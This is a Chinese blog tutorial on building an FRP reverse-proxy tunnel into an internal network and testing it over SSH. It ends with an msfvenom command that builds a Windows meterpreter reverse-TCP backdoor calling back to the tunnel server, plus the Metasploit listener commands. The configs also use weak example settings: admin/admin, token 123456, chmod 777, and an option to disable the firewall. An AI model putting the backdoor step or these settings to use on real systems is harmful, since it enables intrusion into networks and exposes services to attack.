【内网安全-隧道搭建】内网穿透_Frp上线、测试

本文涉及的产品
.cn 域名,1个 12个月
简介: 【内网安全-隧道搭建】内网穿透_Frp上线、测试

Frp(简易上线)


1、简述:


1)Frp (Fast Reverse Proxy) 是一个免费开源的用于内网穿透的反向代理应用,它支持 TCP、UDP 协议, 也为 HTTP、HTTPS 协议提供了额外的支持。


2)frp:服务端(装在公网ip的服务器上)+客户端(装在内网主机上)


3)中转站功能:实现公网 ←→ FRP(服务器) ←→ 内网 的连接(可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。)


4)原理:


第一步:服务端:运行,并监听端口,等待客户端连接


第二步:客户端:连接服务端的端口,告诉服务端要监听的端口和转发类型


第三步:服务端:创建新的进程,监听客户端指定的端口


第四步:外网用户:连接到客户端指定的端口,服务端通过和客户端的连接将数据转发到客户端


第五步:客户端:进程将数据转发到本地服务


2、工具:


URL:https://github.com/fatedier/frp


选择合适的版本


Releases · fatedier/frp (github.com)

https://github.com/fatedier/frp/releases


545577490d294b9694ae692fca57f675.png

3、使用:


1、准备:


1)准备一个域名(注册一个,直接使用ip也可)


2)准备一个服务器(阿里云、腾讯云等都可以免费领一个月)


3)VM中搭建一个虚拟机(内网环境)


4)测试连通性,使用Xshell,或者准备一台非同一局域网下主机并使用ssh命令


5)下载frp工具

命令行输入:
wget  https://github.com/fatedier/frp/releases/download/v0.46.1/frp_0.46.1_linux_arm64.tar.gz


(下载太慢了,我直接下载到电脑上,然后使用xshell配套的xftp传上去)


a3d68f02935e4bdc8490c569d473c683.png


先解压后再上传的话


1:上传到客户端上面的(即内网主机)


2:上传到服务端上面的(即公网服务器)


ef03c7a0e93b463792b097551dd8c575.png

s结尾代表server(服务端)


c结尾代表client(客户端)


——————


4)文件解压


如果直接使用的命令下载的,就需要解压


tar -zxvf frp_0.46.1_linux_amd64.tar.gz

方法一:然后把服务端的文件cp出来(或删掉客户端文件)


sudo mkdir 创建文件夹

sudo cp 原文件的位置  将要复制到的位置

方法二:直接删除客户端文件


rm frpc
rm frpc.ini
rm frpc_full.ini

解压之后文件夹改个名,方便操作

—————


5)文件添加权限(客户端、服务端)


cd /usr/local/frp
sudo chmod 777 frpc
(777为所有权限,也可以换为+x可执行权限,熟悉Linux的就不用多说了)


2、服务端(公网):

1)修改配置文件(frps.ini)


编辑文件内容
vim ./frps.ini
配置文件内容
[common]
bind_port = 7000         # 服务端与客户端通信端口
dashboard_port = 7500    # 后台管理端口
dashboard_user = admin   # 后台登录用户名
dashboard_pwd = admin
vhost_http_port = 7002   # http穿透端口
vhost_https_port = 7003  # https穿透端口
max_pool_count = 50
token = 123456       # 身份验证令牌,frpc要与frps一致
tcp_mux = true
log_file = /usr/local/frp/frps.log  # 日志相关配置
log_level = info
log_max_days = 3
authentication_timeout = 0  # 服务器与客户端时间相差15min会连接失败,0表示不验证
subdomain_host = ……         # 填写自己注册的域名
privilege_mode = true

——————


2)访问的端口开发


(以腾讯云为例)


方法一:


直接在服务器控制台上添加规则


bdefa0659d41415da4c6e74de5c2cfea.png


方法二:


Linux使用命令行添加


# 添加监听端口
sudo firewall-cmd --permanent --add-port=7000/tcp
# 添加管理后台端口
sudo firewall-cmd --permanent --add-port=7500/tcp
sudo firewall-cmd --reload

方法三:


使用ufw、iptables工具

ec10ad526ad342a1b83b799d4766615c.png



方法四:


直接关闭防火墙


——————


3)启动服务端:


./frps -c ./frps.ini

251f70f0ac1a4c338760e6ebf4e8c98c.png


启动成功


——————


4)访问后台管理界面


服务器ip(或者域名):port(7500)


并使用自己设置的用户名,密码登陆


e4e97093013c4fbdb1a2ef3895d9e22c.png


————


扩展:


关闭窗口会停止


所以,需要后台运行


nohup ./frps -c frps.ini &

16c05a5d02394faa92ba48c97637a0d4.png


2、客户端(内网):

1)解压、保留客户端配置文件


——————


2)修改配置文件


编辑配置文件
vim ./frpc.ini


# 客户端配置
[common]
server_addr = ……          # 公网服务器ip
server_port = 7000      # 公网服务端通信端口,与frps.ini的bind_port一致
token = 123456        # 身份验证令牌,与服务端的frps.ini中token一致)
tcp_mux = true
log_file = /usr/local/frp/frpc.log  # 日志相关
log_level = info
log_max_days = 3
authentication_timeout = 0      # 服务器与客户端时间相差15min会连接失败,0表示不验证
# 配置ssh服务
[ssh]             # 添加ssh节点 
type = tcp
local_ip = 192.168.xxx.xxx      # 或者127.0.0.1
local_port = 22
remote_port = 7001        # 指明由公网服务器的7001端口代理(ssh连接端口,远程服务端口)
# 配置http服务,可用于其他开发
[web01]             # 添加web节点
type = http
local_ip = 192.168.xxx.xxx      # 或者127.0.0.1
local_port = 8080       # 本地8080端口(自定义的tomcat服务)可以通公网服务器7002端口访问
subdomain = web01       # 自定义子域名

——————


3)防火墙端口开放


开放方法和服务端类似

——————


4)客户端启动


./frpc -c frpc.ini

3、测试方法:


方法一:


直接使用Xshell工具,对公网服务器进行连接(公网服务器ip)


端口设置为客户端指定的服务器代理端口(remote_port = 7001)

————


方法二:


使用不在同一局域网下的电脑


ssh admin@***.*.*.* -p 端口
# -p 指定服务器端口号,不指定端口则默认22,但此处修改为我们设置的ssh服务端口7001
# admin 为登录的用户名
# ***.*.*.* 为公网服务器ip/域名

————


注:


如果报错Connection closed by……


1、授予ssh权限


2、开启ssh服务


4、生成后门木马监听:


msfvenom -p windows/meterpreter/reverse_tcp lhost=公网服务器ip lport=服务端代理客户端的端口(即remote_port ) -f exe -o frp.exe

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 127.0.0.1

set LPORT 5555


(注:这个监听端口lport,与本地转发端口一致)

exploit


目录
相关文章
|
3月前
|
安全
DC电源模块的安全性能评估与测试方法
DC电源模块的安全性能评估与测试方法 DC电源模块的安全性能评估与测试方法应包括以下几个方面: 1. 输入安全性测试:包括输入电压范围、输入电压稳定性、输入电流范围、输入电流保护等方面的测试。测试方法可以是逐步增加输入电压或输入电流,观察模块的工作状态和保护功能。
DC电源模块的安全性能评估与测试方法
|
3月前
|
安全 测试技术
BOSHIDA DC电源模块的安全性能评估与测试方法
BOSHIDA DC电源模块的安全性能评估与测试方法
 BOSHIDA DC电源模块的安全性能评估与测试方法
|
3月前
|
机器学习/深度学习 人工智能 安全
中国信通院联合金橙果科技等十七家单位发起人工智能大模型安全基准测试
2024年2月20日下午,AIIA“SafetyAI Bench”(人工智能大模型安全基准测试)线上研讨会成功举办。来自中国信息通信研究院(以下简称“中国信通院”)、厦门大学、北京大学、北京交通大学、360、百度、蚂蚁集团、VIVO、西门​子、小鹏汽车、马上消费、浪潮科技、海信视像、交通银行、商汤科技、邮储银行、普华永道、科大讯飞、金橙果科技、万商天勤律所、中兴通讯、博特智能、开源网安、云天励飞等单位40余位科研机构专家及企业代表参加了本次会议。
|
27天前
|
SQL 安全 Java
探索软件测试的多维策略:从单元到集成,再到性能与安全
在软件开发生命周期中,测试是不可或缺的一环。本文将深入探讨软件测试的多维策略,从单元测试、集成测试到性能测试和安全测试等各个层面进行剖析。我们将通过具体的统计数据和案例分析,揭示不同测试策略的优势和应用场景。文章旨在为读者提供一个全面的测试框架,帮助他们构建更稳定、高效和安全的系统。
67 2
|
21天前
|
运维 监控 Serverless
函数计算产品使用问题之如何使用内网地址请求测试环境
函数计算产品作为一种事件驱动的全托管计算服务,让用户能够专注于业务逻辑的编写,而无需关心底层服务器的管理与运维。你可以有效地利用函数计算产品来支撑各类应用场景,从简单的数据处理到复杂的业务逻辑,实现快速、高效、低成本的云上部署与运维。以下是一些关于使用函数计算产品的合集和要点,帮助你更好地理解和应用这一服务。
|
2月前
|
SQL 安全 Java
探索软件测试的多维策略:从单元到集成,再到性能与安全
在软件开发过程中,测试是确保产品质量和用户满意度的关键步骤。本文将深入探讨软件测试的多维策略,包括单元测试、集成测试、性能测试和安全测试。我们将分析每种测试方法的优势和局限性,并讨论如何将这些策略整合到一个全面的测试计划中,以提高软件的可靠性和安全性。文章还将提供实用的例子和最佳实践,帮助读者更好地理解和应用这些测试技术。
|
2月前
|
安全 Java
如何测试map对象的线程不安全
【6月更文挑战第20天】如何测试map对象的线程不安全
27 0
|
3月前
|
Web App开发 缓存 前端开发
《手把手教你》系列技巧篇(四十四)-java+ selenium自动化测试-处理https 安全问题或者非信任站点-下篇(详解教程)
【5月更文挑战第8天】这篇文档介绍了如何在IE、Chrome和Firefox浏览器中处理不信任证书的问题。作者北京-宏哥分享了如何通过编程方式跳过浏览器的证书警告,直接访问不受信任的HTTPS网站。文章分为几个部分,首先简要介绍了问题背景,然后详细讲解了在Chrome浏览器中的两种方法,包括代码设计和运行效果,并给出了其他浏览器的相关信息和参考资料。最后,作者总结了处理此类问题的一些通用技巧。
81 2
|
3月前
|
传感器 监控 安全
LabVIEW开发汽车安全带张紧测试
LabVIEW开发汽车安全带张紧测试
49 3
|
3月前
|
存储 安全 Cloud Native
安全利器!龙蜥推出机密计算远程证明服务—OAAS 诚邀广大用户测试
服务化的远程证明服务中心 OAAS具有极高的安全性和灵活性,并在内部实现了策略引擎,旨在为使用可信执行环境 (TEE) 的用户提供一个安全高效的远程证明免部署解决方案,满足在各类机密计算应用场景下的核心信任需求。

热门文章

最新文章